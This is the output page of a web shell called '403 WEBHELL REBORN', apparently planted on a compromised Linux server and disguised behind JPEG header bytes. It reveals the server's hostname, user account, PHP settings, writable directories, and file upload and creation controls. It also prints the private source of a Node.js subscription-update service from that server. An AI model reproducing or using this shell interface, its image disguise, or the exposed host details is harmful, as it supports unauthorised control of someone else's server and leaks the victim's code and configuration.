ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/apicentralquestoes/src/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/apicentralquestoes/src/services/assinaturaService.js
const Assinatura = require("../models/Assinatura");
const Planos = require("../models/Plano");
const assinaturaValidations = require("../validations/assinaturaValidations");
const MENSAGENS_ERRO = require("../utils/mensagensErro");

const assinaturaService = {
  atualizarAssinatura: async (userId, novaAssinaturaId) => {
    const erroValidacao = assinaturaValidations.validarEntradaAssinatura(
      userId,
      novaAssinaturaId
    );
    if (erroValidacao) return erroValidacao;
    try {
      const novaAssinatura = await Planos.findByPk(novaAssinaturaId);
      if (!novaAssinatura) {
        return {
          erro: 404,
          mensagem: MENSAGENS_ERRO.ASSINATURA_NAO_ENCONTRADA,
        };
      }

      const expiresAt = new Date(Date.now() + 30 * 24 * 60 * 60 * 1000);
      const [atualizado] = await Assinatura.update(
        {
          plano_id: novaAssinaturaId,
          expires_at: expiresAt,
          status: "active",
        },
        {
          where: { user_id: userId },
        }
      );

      if (atualizado === 0) {
        return { erro: 404, mensagem: MENSAGENS_ERRO.INSCRICAO_NAO_ENCONTRADA };
      }

      const assinaturaAtualizada = await Assinatura.findOne({
        where: { user_id: userId, status: "active" },
      });

      return {
        mensagem: "Assinatura atualizada com sucesso",
        assinatura: assinaturaAtualizada,
      };
    } catch (erro) {
      return { erro: 500, mensagem: erro.message };
    }
  },
};

module.exports = assinaturaService;

Anon7 - 2021